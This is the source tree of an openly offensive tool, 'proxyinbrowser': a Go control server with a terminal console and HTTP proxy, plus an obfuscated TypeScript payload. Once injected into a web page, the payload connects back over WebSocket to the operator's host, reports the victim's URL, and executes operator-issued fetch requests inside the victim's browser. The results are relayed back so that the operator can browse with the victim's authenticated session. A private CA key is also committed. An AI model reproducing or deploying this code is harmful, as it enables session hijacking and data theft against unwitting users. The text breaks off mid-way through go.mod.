├── cmd └── server │ ├── sessionmanager │ ├── .gitignore │ ├── type.go │ ├── server.go │ └── bundle.js │ ├── define │ ├── encoder.go │ ├── response.go │ ├── type.go │ └── request.go │ ├── terminal │ ├── tcmd │ │ ├── admin │ │ │ ├── clear.go │ │ │ ├── exit.go │ │ │ ├── uid.go │ │ │ ├── list.go │ │ │ └── use.go │ │ ├── ops │ │ │ ├── hook.go │ │ │ └── relay.go │ │ └── root.go │ ├── app.go │ └── command.go │ ├── http_proxy │ ├── createca_test.go │ ├── filter.go │ ├── connect.go │ ├── cert.go │ ├── main.go │ └── proxy.go │ └── main.go ├── .gitignore ├── src ├── debug.ts ├── encoder.ts ├── vars.ts ├── payload.ts └── fetch.ts ├── package.json ├── Makefile ├── webpack.config.js ├── goreleaser.yaml ├── cert ├── cert.pem └── key.pem ├── .github └── workflows │ └── release.yaml ├── go.mod ├── README.md ├── tsconfig.json ├── go.sum └── pnpm-lock.yaml /cmd/server/sessionmanager/.gitignore: -------------------------------------------------------------------------------- 1 | bundle.js -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | build/ 3 | .idea/ 4 | .vscode/ 5 | test* 6 | ./server 7 | !server/ -------------------------------------------------------------------------------- /src/debug.ts: -------------------------------------------------------------------------------- 1 | export const DEBUG = true 2 | 3 | export function debug(...c :any) { 4 | if (DEBUG) { 5 | console.log(c) 6 | } 7 | } -------------------------------------------------------------------------------- /cmd/server/define/encoder.go: -------------------------------------------------------------------------------- 1 | package define 2 | 3 | func Encode(cleartext []byte) []byte { 4 | return cleartext 5 | } 6 | 7 | func Decode(enc []byte) []byte { 8 | return enc 9 | } 10 | -------------------------------------------------------------------------------- /src/encoder.ts: -------------------------------------------------------------------------------- 1 | import { debug } from './debug' 2 | 3 | export type TrafficEncoder = (c :string) => string 4 | 5 | export let EncodeTraffic :TrafficEncoder = (c :string) => { 6 | return c; 7 | } 8 | 9 | export let DecodeTraffic :TrafficEncoder = (c :string) => { 10 | debug("decode to", c) 11 | return c 12 | } 13 | 14 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "build": "webpack && cat ./build/bundle.js" 4 | }, 5 | "devDependencies": { 6 | "javascript-obfuscator": "^4.1.1", 7 | "path": "^0.12.7", 8 | "terser-webpack-plugin": "^5.3.10", 9 | "ts-loader": "^9.5.1", 10 | "typescript": "^5.6.2", 11 | "webpack": "^5.95.0", 12 | "webpack-cli": "^5.1.4", 13 | "webpack-obfuscator": "^3.5.1" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /cmd/server/terminal/tcmd/admin/clear.go: -------------------------------------------------------------------------------- 1 | package admin 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd" 5 | "github.com/spf13/cobra" 6 | ) 7 | 8 | func init() { 9 | tcmd.RootCmd.AddCommand(clearCmd) 10 | } 11 | 12 | var clearCmd = &cobra.Command{ 13 | Use: "clear", 14 | Short: "Clear screen", 15 | Run: func(cmd *cobra.Command, args []string) { 16 | 17 | }, 18 | } 19 | -------------------------------------------------------------------------------- /cmd/server/terminal/tcmd/admin/exit.go: -------------------------------------------------------------------------------- 1 | package admin 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd" 5 | "github.com/spf13/cobra" 6 | "os" 7 | ) 8 | 9 | func init() { 10 | tcmd.RootCmd.AddCommand(exitCmd) 11 | } 12 | 13 | var exitCmd = &cobra.Command{ 14 | Use: "exit", 15 | Aliases: []string{"quit", "q"}, 16 | Short: "Exit Application", 17 | Run: func(cmd *cobra.Command, args []string) { 18 | os.Exit(0) 19 | }, 20 | } 21 | -------------------------------------------------------------------------------- /cmd/server/http_proxy/createca_test.go: -------------------------------------------------------------------------------- 1 | package http_proxy 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | ) 7 | 8 | func TestCreateCA(t *testing.T) { 9 | t.Logf("Begin") 10 | os.Chdir("../../../") 11 | dir, err := os.Getwd() 12 | if err != nil { 13 | t.Logf("Get current directory error %v", err) 14 | t.Fail() 15 | } 16 | t.Logf("Current directory %v", dir) 17 | err = createCA("./cert/cert.pem", "./cert/key.pem") 18 | if err != nil { 19 | t.Logf("Generate error %v", err) 20 | t.Fail() 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /cmd/server/terminal/tcmd/ops/hook.go: -------------------------------------------------------------------------------- 1 | package ops 2 | 3 | import ( 4 | "errors" 5 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd" 6 | "github.com/spf13/cobra" 7 | ) 8 | 9 | func PreRunE(cmd *cobra.Command, args []string) error { 10 | if tcmd.Opt.Session == nil { 11 | return errors.New("No session specified. ") 12 | } 13 | return nil 14 | } 15 | 16 | func PostRunE(cmd *cobra.Command, args []string) error { 17 | tcmd.Opt.Log.Infof("Command %v Sent", tcmd.Opt.TaskId) 18 | return nil 19 | } 20 | -------------------------------------------------------------------------------- /cmd/server/define/response.go: -------------------------------------------------------------------------------- 1 | package define 2 | 3 | type FetchResponse struct { 4 | Status int `json:"status"` 5 | Headers [][]string `json:"headers"` 6 | Text string `json:"text"` 7 | FinalUrl string `json:"final_url"` 8 | } 9 | type FetchResp struct { 10 | Response FetchResponse `json:"response"` 11 | Error string `json:"error_stack"` 12 | } 13 | type RelayCommandResp struct { 14 | CommandId string `json:"command_id"` 15 | CommandResult FetchResp `json:"command_result"` 16 | } 17 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: pack-js 3 | all: build-ws 4 | all: copy-js 5 | all: run-ws 6 | 7 | node_modules: 8 | pnpm install 9 | 10 | pack-js: node_modules 11 | pnpm build 12 | 13 | copy-js: 14 | cat build/bundle.js | pbcopy 15 | 16 | build-ws: cert 17 | cp build/bundle.js ./cmd/server/sessionmanager/bundle.js 18 | go build ./cmd/server 19 | 20 | run-ws: 21 | ./server 22 | 23 | cert: 24 | go test -v ./... 25 | 26 | pack-codes: 27 | zip -r source.zip ./cmd/ ./src/ ./cert/ .gitignore go.mod go.sum Makefile package.json pnpm-lock.yaml README.md tsconfig.json webpack.config.js -------------------------------------------------------------------------------- /cmd/server/http_proxy/filter.go: -------------------------------------------------------------------------------- 1 | package http_proxy 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | ) 7 | 8 | func blockHostFilter(blockedHostnames []string, next http.HandlerFunc) http.HandlerFunc { 9 | hosts := map[string]struct{}{} 10 | for _, host := range blockedHostnames { 11 | hosts[host] = struct{}{} 12 | } 13 | return func(w http.ResponseWriter, r *http.Request) { 14 | if _, ok := hosts[r.URL.Host]; ok { 15 | msg := fmt.Sprintf("access to %s blocked by proxy", r.URL.Host) 16 | http.Error(w, msg, http.StatusForbidden) 17 | return 18 | } 19 | next(w, r) 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /cmd/server/terminal/tcmd/admin/uid.go: -------------------------------------------------------------------------------- 1 | package admin 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd" 5 | "github.com/spf13/cobra" 6 | ) 7 | 8 | func init() { 9 | tcmd.RootCmd.AddCommand(UidCmd) 10 | } 11 | 12 | var UidCmd = &cobra.Command{ 13 | Use: "uid", 14 | Short: "Lookup current uid", 15 | Run: func(cmd *cobra.Command, args []string) { 16 | if tcmd.Opt.SessionId == "" || tcmd.Opt.Session == nil { 17 | tcmd.Opt.Log.Infof("session id useless") 18 | } else { 19 | tcmd.Opt.Log.Infof("Current session id is %v ", tcmd.Opt.SessionId) 20 | } 21 | }, 22 | } 23 | -------------------------------------------------------------------------------- /cmd/server/define/type.go: -------------------------------------------------------------------------------- 1 | package define 2 | 3 | import "github.com/gorilla/websocket" 4 | 5 | type RelayChan chan RelayCommandResp 6 | 7 | func NewChannels() RelayChan { 8 | return make(chan RelayCommandResp, 1000) 9 | } 10 | 11 | type WebsocketClient struct { 12 | *websocket.Conn 13 | RelayChan chan RelayCommandResp 14 | } 15 | 16 | func NewWebSocketClient(conn *websocket.Conn) *WebsocketClient { 17 | return &WebsocketClient{ 18 | Conn: conn, 19 | RelayChan: NewChannels(), 20 | } 21 | } 22 | 23 | func (c *WebsocketClient) SendCommand(command *RelayCommand) error { 24 | return c.WriteMessage(websocket.TextMessage, command.Marshal()) 25 | } 26 | -------------------------------------------------------------------------------- /cmd/server/terminal/tcmd/admin/list.go: -------------------------------------------------------------------------------- 1 | package admin 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/sessionmanager" 5 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd" 6 | "github.com/spf13/cobra" 7 | "strings" 8 | ) 9 | 10 | func init() { 11 | tcmd.RootCmd.AddCommand(listCmd) 12 | } 13 | 14 | var listCmd = &cobra.Command{ 15 | Use: "list", 16 | Aliases: []string{"l", "ls"}, 17 | Short: "List all available sessions", 18 | Run: func(cmd *cobra.Command, args []string) { 19 | list := sessionmanager.WebsocketConnMap.List() 20 | if len(list) == 0 { 21 | tcmd.Opt.Log.Infof("no sessions found") 22 | } 23 | tcmd.Opt.Log.Infoln("\n======LIST======\n" + strings.Join(list, "\n") + "\n") 24 | }, 25 | } 26 | -------------------------------------------------------------------------------- /cmd/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "os" 6 | 7 | "github.com/esonhugh/proxyinbrowser/cmd/server/sessionmanager" 8 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal" 9 | log "github.com/sirupsen/logrus" 10 | lef "github.com/t-tomalak/logrus-easy-formatter" 11 | ) 12 | 13 | func main() { 14 | log.SetLevel(log.TraceLevel) 15 | log.SetFormatter(&lef.Formatter{ 16 | TimestampFormat: "15:04:05", 17 | LogFormat: "%time% [id:%session%]> %msg%\n", 18 | }) 19 | buf := &bytes.Buffer{} 20 | log.SetOutput(buf) 21 | go sessionmanager.RunServer(buf) 22 | // app.RunApp(rch) 23 | 24 | ch := make(chan os.Signal, 1) 25 | app := terminal.CreateApplication(terminal.ApplicationSpec{ 26 | ConsoleLogBuffer: buf, 27 | CloseCh: ch, 28 | }) 29 | go app.Run() 30 | <-ch 31 | app.Stop() 32 | os.Exit(0) 33 | } 34 | -------------------------------------------------------------------------------- /cmd/server/terminal/tcmd/admin/use.go: -------------------------------------------------------------------------------- 1 | package admin 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/sessionmanager" 5 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd" 6 | log "github.com/sirupsen/logrus" 7 | "github.com/spf13/cobra" 8 | ) 9 | 10 | func init() { 11 | tcmd.RootCmd.AddCommand(UseCmd) 12 | } 13 | 14 | var UseCmd = &cobra.Command{ 15 | Use: "use", 16 | Short: "Use a specific session or change into it", 17 | Run: func(cmd *cobra.Command, args []string) { 18 | if len(args) < 1 { 19 | list := sessionmanager.WebsocketConnMap.List() 20 | if len(list) == 0 { 21 | log.Errorln("No session id available") 22 | return 23 | } else { 24 | uid := list[0] 25 | tcmd.Opt.SessionId = uid 26 | } 27 | } else { 28 | tcmd.Opt.SessionId = args[0] 29 | } 30 | log.Infoln("Change to uid: ", tcmd.Opt.SessionId) 31 | }, 32 | } 33 | -------------------------------------------------------------------------------- /cmd/server/terminal/tcmd/root.go: -------------------------------------------------------------------------------- 1 | package tcmd 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/define" 5 | "github.com/esonhugh/proxyinbrowser/cmd/server/sessionmanager" 6 | "github.com/google/uuid" 7 | log "github.com/sirupsen/logrus" 8 | "github.com/spf13/cobra" 9 | ) 10 | 11 | var Opt struct { 12 | SessionId string 13 | Session *define.WebsocketClient 14 | TaskId string 15 | 16 | Log *log.Entry 17 | } 18 | 19 | var RootCmd = &cobra.Command{ 20 | Use: "", 21 | Short: "Begin of the command execute in console", 22 | PersistentPreRun: func(cmd *cobra.Command, args []string) { 23 | Opt.Log = log.WithField("session", Opt.SessionId) 24 | if Opt.SessionId != "" { 25 | Opt.Session = sessionmanager.WebsocketConnMap.Get(Opt.SessionId) 26 | } 27 | Opt.TaskId = uuid.New().String() 28 | }, 29 | Run: func(cmd *cobra.Command, args []string) { 30 | cmd.Help() 31 | }, 32 | } 33 | -------------------------------------------------------------------------------- /webpack.config.js: -------------------------------------------------------------------------------- 1 | const path = require('path'); 2 | const TerserPlugin = require("terser-webpack-plugin"); 3 | const WebpackObfuscator = require('webpack-obfuscator'); 4 | 5 | module.exports = { 6 | mode: "development", 7 | devtool: "inline-source-map", 8 | entry: { 9 | main: "./src/payload.ts", 10 | }, 11 | output: { 12 | path: path.resolve(__dirname, './build'), 13 | filename: "bundle.js" // <--- Will be compiled to this single file 14 | }, 15 | resolve: { 16 | extensions: [".ts", ".tsx", ".js"], 17 | }, 18 | module: { 19 | rules: [ 20 | { 21 | test: /\.tsx?$/, 22 | loader: "ts-loader" 23 | }, 24 | ] 25 | }, 26 | plugins: [ 27 | new WebpackObfuscator({rotateStringArray: true, reservedStrings: [ '\s*' ]}, []) 28 | ], 29 | optimization: { 30 | minimize: true, 31 | minimizer: [ 32 | new TerserPlugin(), 33 | ], 34 | } 35 | }; -------------------------------------------------------------------------------- /cmd/server/terminal/tcmd/ops/relay.go: -------------------------------------------------------------------------------- 1 | package ops 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/http_proxy" 5 | "github.com/esonhugh/proxyinbrowser/cmd/server/terminal/tcmd" 6 | "github.com/spf13/cobra" 7 | ) 8 | 9 | var port string 10 | 11 | func init() { 12 | relayCmd.PersistentFlags().StringVarP(&port, "port", "p", "9001", "Port to listen on") 13 | tcmd.RootCmd.AddCommand(relayCmd, stopRelayCmd) 14 | } 15 | 16 | var relayCmd = &cobra.Command{ 17 | Use: "relay", 18 | Short: "start a relay session", 19 | PreRunE: PreRunE, 20 | Run: func(cmd *cobra.Command, args []string) { 21 | go http_proxy.Serve(tcmd.Opt.Session, port) 22 | }, 23 | } 24 | 25 | var stopRelayCmd = &cobra.Command{ 26 | Use: "stop", 27 | Short: "stop a relay session", 28 | PreRunE: PreRunE, 29 | Run: func(cmd *cobra.Command, args []string) { 30 | http_proxy.Stop() 31 | tcmd.Opt.Log.Infof("SendTo Stop signal to stop relay\n") 32 | }, 33 | } 34 | -------------------------------------------------------------------------------- /cmd/server/sessionmanager/type.go: -------------------------------------------------------------------------------- 1 | package sessionmanager 2 | 3 | import ( 4 | "github.com/esonhugh/proxyinbrowser/cmd/server/define" 5 | "sync" 6 | ) 7 | 8 | type SafeWebsocketConnMap struct { 9 | mapper sync.Map 10 | } 11 | 12 | func (s *SafeWebsocketConnMap) Get(key string) *define.WebsocketClient { 13 | if v, e := s.mapper.Load(key); e { 14 | if rv, ok := v.(*define.WebsocketClient); ok { 15 | return rv 16 | } 17 | } 18 | return nil 19 | } 20 | 21 | func (s *SafeWebsocketConnMap) Set(key string, conn *define.WebsocketClient) { 22 | s.mapper.Store(key, conn) 23 | } 24 | 25 | func (s *SafeWebsocketConnMap) Delete(key string) { 26 | s.mapper.Delete(key) 27 | } 28 | 29 | func (s *SafeWebsocketConnMap) List() []string { 30 | var ret []string 31 | s.mapper.Range(func(key, value interface{}) bool { 32 | if rv, ok := key.(string); ok { 33 | ret = append(ret, rv) 34 | return true 35 | } else { 36 | return false 37 | } 38 | }) 39 | return ret 40 | } 41 | -------------------------------------------------------------------------------- /cmd/server/define/request.go: -------------------------------------------------------------------------------- 1 | package define 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/gorilla/websocket" 7 | log "github.com/sirupsen/logrus" 8 | ) 9 | 10 | type FetchOption struct { 11 | Method string `json:"method"` 12 | Body string `json:"body"` 13 | Headers map[string]string `json:"headers"` 14 | Mode string `json:"mode"` 15 | } 16 | type Fetch struct { 17 | Url string `json:"url"` 18 | Option FetchOption `json:"options"` 19 | } 20 | type RelayCommand struct { 21 | CommandId string `json:"command_id"` 22 | CommandDetail Fetch `json:"command_detail"` 23 | } 24 | 25 | func (c *RelayCommand) Marshal() []byte { 26 | str, _ := json.Marshal(c) 27 | return str 28 | } 29 | 30 | func (c *RelayCommand) SendTo(conn *websocket.Conn) error { 31 | data, err := json.Marshal(c) 32 | if err != nil { 33 | log.Error("before send to victim, Marshal error: ", err) 34 | return err 35 | } 36 | data = Encode(data) 37 | log.Tracef("Sending data: %v", string(data)) 38 | return conn.WriteMessage(websocket.TextMessage, data) 39 | } 40 | -------------------------------------------------------------------------------- /src/vars.ts: -------------------------------------------------------------------------------- 1 | import { debug } from "./debug"; 2 | 3 | export const project: string = "__ENDPOINT__"; 4 | export const reverse_host: string = "localhost:9999"; 5 | 6 | export const trace_label: string = "x_client_trace_id"; 7 | 8 | export function uuidv4(): string { 9 | return "10000000-1000-4000-8000-100000000000".replace(/[018]/g, (c) => 10 | ( 11 | +c ^ 12 | (crypto.getRandomValues(new Uint8Array(1))[0] & (15 >> (+c / 4))) 13 | ).toString(16) 14 | ); 15 | } 16 | 17 | export let client_trace_id = initTraceId(); 18 | 19 | function initTraceId(): string { 20 | let client_trace_id = uuidv4(); 21 | try { 22 | if (localStorage.getItem(trace_label) !== null) { 23 | client_trace_id = localStorage.getItem(trace_label)!; 24 | debug("Client trace id loaded"); 25 | } else { 26 | localStorage.setItem(trace_label, client_trace_id); 27 | debug("Client trace id saved"); 28 | } 29 | } catch (e) { 30 | debug("Cannot save client trace id"); 31 | // ignore 32 | } finally { 33 | debug(`Client trace id: ${client_trace_id}`); 34 | return client_trace_id 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /goreleaser.yaml: -------------------------------------------------------------------------------- 1 | project_name: proxyinbrowser 2 | version: 2 3 | before: 4 | hooks: 5 | - echo "Startup Building!" 6 | - make pack-js # packing payloads 7 | - cp build/bundle.js ./cmd/server/sessionmanager/bundle.js # copy to embed location 8 | - go mod tidy # build prepare 9 | - go test -v ./... # regenerate certs 10 | 11 | builds: 12 | - env: 13 | - CGO_ENABLED=0 14 | goos: 15 | - darwin 16 | - windows 17 | - linux 18 | goarch: 19 | - "386" 20 | - amd64 21 | - arm64 22 | main: ./cmd/server/main.go 23 | binary: server 24 | 25 | archives: 26 | - name_template: "{{ .ProjectName }}_{{ .Tag }}_{{ .Os }}_{{ .Arch }}" 27 | files: 28 | - README.md 29 | - cert/* 30 | - src: build/bundle.js 31 | dst: bundle.js 32 | strip_parent: true 33 | 34 | format_overrides: 35 | - goos: windows 36 | format: zip 37 | 38 | checksum: 39 | name_template: "checksums.txt" 40 | changelog: 41 | sort: asc 42 | filters: 43 | exclude: 44 | - "^docs:" 45 | - "^doc:" 46 | - "^ci:" 47 | - "^Merge pull request" -------------------------------------------------------------------------------- /cert/cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIC8jCCAdqgAwIBAgIQbSG8lL+CauQqdzSJgV3dMjANBgkqhkiG9w0BAQsFADAT 3 | MREwDwYDVQQDEwhQcm94eSBDQTAeFw0yNDEwMTMwNDI0NDRaFw0zNDEwMTEwNDI0 4 | NDRaMBMxETAPBgNVBAMTCFByb3h5IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A 5 | MIIBCgKCAQEA3X595dw0tYxIV3EGLtc3lxKCzYhyHZqlqzRikbuT9tTGdmlHo7PA 6 | 75avmyaMsnc3FhDDBGVcvMLgQPJtyQhnp4M1hNsJ3YLbr0QC0Xyovy0fjAijqY3K 7 | LBr0vqgLJxZHIS+EtL5cJkE+6+VRzLzvOFFIWZbOvcuRAmTufgePj5zPBLgARARv 8 | A7IRbPwVbneM51BQP8gszWvpLSjJX5nxb0S/rEvnrpqWUjrWcGokZv+v9cQs3SBc 9 | 53fNTfz5jmuYeRcZwwLn564KAcdtBKwX3rO4JK13b+gEALec/1xPu52uBLw6lK5k 10 | geVcTuCkBgUP9MRvBFAa+8+0rYHaxunicwIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC 11 | AaYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUUue0GDaDS+NkUZ/gsOerqgb7 12 | 0IUwDQYJKoZIhvcNAQELBQADggEBAAxfQNHeY8eFmSz59CM3sjxyrr1bhqB+/+LB 13 | pRWdystr9zsaCFCgFy60l3Ow6AsQ/3M+Acs0anM4FafiaC+PzZTUTIK59QwOZeZM 14 | g5vPo6QT5QzQI8o8u6U2PXOYVZ9RHk2e9DUQkHZQlZx4my/qHMbocfgyjOF2KDSd 15 | frPc4LH0H828RXQOHM9SFmH0+0TyMRqto/h2+pC5bea7EnhoV5MrAmCfE2uIicrv 16 | RvALjqdPP/ZiGyJLyKl0hQtNXUsLdZ+VHGXFrflpNiENJ7DbCRsTmD11HT2z9LVj 17 | MGU0ZaaEd8Oxlwh2sUCe9sLQtVTwtP9rhiemX5GS70p1/bol1Kc= 18 | -----END CERTIFICATE----- 19 | -------------------------------------------------------------------------------- /.github/workflows/release.yaml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | push: 5 | tags: 6 | - 'v*' 7 | env: 8 | GO_VERSION: 1.21 9 | 10 | permissions: write-all 11 | 12 | jobs: 13 | goreleaser: 14 | runs-on: ubuntu-latest 15 | steps: 16 | - name: Checkout Source Code 17 | uses: actions/checkout@v3 18 | with: 19 | fetch-depth: 0 20 | 21 | - uses: pnpm/action-setup@v4 22 | name: Install pnpm 23 | with: 24 | version: 9 25 | run_install: false 26 | 27 | - name: Install Node.js 28 | uses: actions/setup-node@v4 29 | with: 30 | node-version: 20 31 | cache: 'pnpm' 32 | 33 | - name: Setup Go Environment 34 | uses: actions/setup-go@v3 35 | with: 36 | go-version: ${{ env.GO_VERSION }} 37 | 38 | - name: Run GoReleaser 39 | uses: goreleaser/goreleaser-action@v3 40 | with: 41 | version: latest 42 | args: release 43 | env: 44 | CGO_ENABLED: 0 45 | # GITHUB_TOKEN: ${{ secrets.RELEASE_GH_TOKEN }} 46 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} -------------------------------------------------------------------------------- /cert/key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDdfn3l3DS1jEhX 3 | cQYu1zeXEoLNiHIdmqWrNGKRu5P21MZ2aUejs8Dvlq+bJoyydzcWEMMEZVy8wuBA 4 | 8m3JCGengzWE2wndgtuvRALRfKi/LR+MCKOpjcosGvS+qAsnFkchL4S0vlwmQT7r 5 | 5VHMvO84UUhZls69y5ECZO5+B4+PnM8EuABEBG8DshFs/BVud4znUFA/yCzNa+kt 6 | KMlfmfFvRL+sS+eumpZSOtZwaiRm/6/1xCzdIFznd81N/PmOa5h5FxnDAufnrgoB 7 | x20ErBfes7gkrXdv6AQAt5z/XE+7na4EvDqUrmSB5VxO4KQGBQ/0xG8EUBr7z7St 8 | gdrG6eJzAgMBAAECggEAX2wBPSfTJWucNt+gdEmPz2vQIk/oKczYFpvo4zPWmP4t 9 | yhGtJV9pfU6DtOm0r6Yge0cZXSl1/HRQPGq01Wjjjw0931CmPWIE1ssME8gKwuHj 10 | t2Z5a7CEKuAqFIE83MgCOM/J8jwYYvq06tfOl8/Fl5OdAcuwoZ+zhz6IaI9FT+7G 11 | xktm+evthL1IHsRn6oKc1VR2IvH10zJZqWdPycJPxQV29sEktyWh2l2wTwshyR7I 12 | L3apas45zLu33HoWI3aPe1a546/MzGeliA8IUjPRXZEKpAft6PZX0ePgT+rJSqDS 13 | 6NhgAf2qJxLz3ZdNdeZZ+l2fZTiApHsKF4NX+kLfEQKBgQD9cNFfHej5ciRKjtHL 14 | HLVZVNDWSFFq1rXjJxqsDFToICvwDkmwRU2rqSPTKycUbdQZqP7a3Kzi8t0SxzoV 15 | TwlY1jY7GbJ1nMJTm2pSv/dJ8Ib95mtauFpY6BryaI0ISQXKAu44R499GpBlMP6Z 16 | yYpDp7Pd9sdmebeZ3LXNlIh+jQKBgQDfuxZUNjPDnKmtcXt9KMVFpwzkOFjY8oU8 17 | Hr67AqBKsE2QPIAShhgnwSh4SJ8xzzPhdrm+I/9NrmlTZUk99h2MPGHY0YU/rahB 18 | BSQtD/Plp8rWYLCaqzhJHXmFQLLeumdQPBgrhFL3PwcbWAdVGe+QprlAtfux8T3I 19 | SDKRj8gk/wKBgQDOpvUxt7PF4hpRaQ8LrQb6Jjx63VD16sk4xSPsccmx1Lm+7geL 20 | 4ZapiCsb/q3I7Jzrp27XiuS10Q4OR8DGq0GV3GUv344ydHXHsowJmVnMQoHv+bhD 21 | qtqQcAG48yM8RD6iL62K2l7XxZdDy6VuRHWnINF7BcQlfM4GeX8MeDar6QKBgQCV 22 | Fn7Sryvfdk47nhvEU57hw2f7zPCn4TSX04UV6bIXE1UcgLR3o5QFKdpmDT7IWmMg 23 | I5Wy9xnyEf9t61jbSV53TOWHLle1D2vHqD1rKe5FY4LvSI9nAiIH1vRbr7mCYoTm 24 | GqWgmhUPXZjGx+pa82WI5xEb5ilLco7RIAtSpJWi0QKBgDs3VQH6X5h9W20IE3LB 25 | /NG96uGa1nRTgvfriElq7um1PkFhDg7sDORS5VflYjwVYp7FwZ4FPjiPS+yETMaU 26 | N+Gxd9cMq+hvoBKYHE+tMYwN+DJR2W4S2SnSoPjPJEUe6Y9BTnqaegn+g+4tEuQl 27 | 5w57nQ1ifTQVymij7Dpb6DP7 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /src/payload.ts: -------------------------------------------------------------------------------- 1 | import { DecodeTraffic, EncodeTraffic } from "./encoder"; 2 | import { DEBUG, debug } from "./debug"; 3 | import { 4 | FetchExecutor, 5 | type FetchOptions, 6 | type FetchResult, 7 | } from "./fetch"; 8 | import { project, client_trace_id, reverse_host } from "./vars"; 9 | 10 | // export let ws: WebSocket = new WebSocket(`wss://echo.websocket.org/${project}/${victim_id}`); 11 | let ws_server: string; 12 | if (DEBUG) { 13 | ws_server = `ws://${reverse_host}/${project}`; 14 | } else { 15 | ws_server = 16 | window.location.protocol == "https:" 17 | ? `wss://${reverse_host}/${project}` 18 | : `ws://${reverse_host}/${project}`; 19 | } 20 | 21 | let ws: WebSocket = new WebSocket(ws_server); 22 | 23 | ws.onopen = (e: Event) => { 24 | debug("Connection established ready. client trace id ", client_trace_id); 25 | ws.send(JSON.stringify({ 26 | "status": "init", 27 | "client_trace_id": client_trace_id, 28 | "current_url": window.location.href, 29 | })); 30 | }; 31 | 32 | interface Command { 33 | command_id: string 34 | command_detail: FetchOptions 35 | } 36 | 37 | interface Result { 38 | command_id: string 39 | command_result: FetchResult 40 | } 41 | 42 | ws.onmessage = async (ev: MessageEvent) => { 43 | let command: Command = JSON.parse(DecodeTraffic(ev.data)); 44 | debug(command); 45 | let res = { 46 | command_id: command.command_id, 47 | command_result: {} as FetchResult, 48 | } as Result; 49 | res.command_result = await FetchExecutor(command.command_detail); 50 | debug(res); 51 | ws.send(EncodeTraffic(JSON.stringify(res))); 52 | } 53 | 54 | ws.onclose = (e: CloseEvent) => { 55 | debug("Connection closed"); 56 | } 57 | 58 | ws.onerror = (e: Event) => { 59 | debug("Connection error"); 60 | debug(e, e.target, e.type); 61 | } -------------------------------------------------------------------------------- /src/fetch.ts: -------------------------------------------------------------------------------- 1 | import { debug } from "./debug"; 2 | 3 | export interface StringMap { 4 | [key: string]: T 5 | } 6 | 7 | interface RequestOption { 8 | method: string; 9 | headers: StringMap; 10 | body: string; 11 | mode: RequestMode; 12 | } 13 | 14 | export interface FetchOptions { 15 | url: string; 16 | options: RequestOption; 17 | } 18 | 19 | 20 | interface FetchResponse { 21 | status: number; 22 | headers: string[][]; 23 | text: string; 24 | finalurl: string; 25 | } 26 | 27 | export interface FetchResult { 28 | response: FetchResponse; 29 | error_stack: string; 30 | } 31 | 32 | type AsyncExecutor = (c: T) => Promise 33 | 34 | export let FetchExecutor: AsyncExecutor< 35 | FetchOptions, 36 | FetchResult 37 | > = async (c: FetchOptions) => { 38 | var r: FetchResult = { 39 | error_stack: "", 40 | response: { 41 | status: 0, 42 | headers: [], 43 | text: "", 44 | finalurl: "", 45 | }, 46 | }; 47 | try { 48 | debug("pre req data: ", c); 49 | debug("request ", c.options.method, c.options.mode, c.url); 50 | 51 | let rx = {} as Response; 52 | if (c.options.method == "get" || c.options.method == "GET") { 53 | rx = await fetch(c.url, { 54 | body: null, 55 | headers: c.options.headers, 56 | method: c.options.method, 57 | mode: c.options.mode, 58 | }); 59 | } else { 60 | rx = await fetch(c.url, c.options); 61 | } 62 | debug(rx); 63 | r.response.finalurl = rx.url; 64 | r.response.status = rx.status; 65 | r.response.text = await rx.text(); 66 | rx.headers.forEach((v, k) => { 67 | debug(k, v); 68 | r.response.headers.push([k, v]); 69 | }); 70 | } catch (e: any) { 71 | r.error_stack = e.stack; 72 | } finally { 73 | return r; 74 | } 75 | }; 76 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/esonhugh/proxyinbrowser 2 | 3 | go 1.22.5 4 | 5 | require ( 6 | github.com/gdamore/tcell/v2 v2.7.1 7 | github.com/gin-gonic/gin v1.10.0 8 | github.com/google/uuid v1.6.0 9 | github.com/gorilla/websocket v1.5.3 10 | github.com/rivo/tview v0.0.0-20240921122403-a64fc48d7654 11 | github.com/sirupsen/logrus v1.9.3 12 | github.com/spf13/cobra v1.8.1 13 | github.com/t-tomalak/logrus-easy-formatter v0.0.0-20190827215021-c074f06c5816 14 | ) 15 | 16 | require ( 17 | github.com/bytedance/sonic v1.11.6 // indirect 18 | 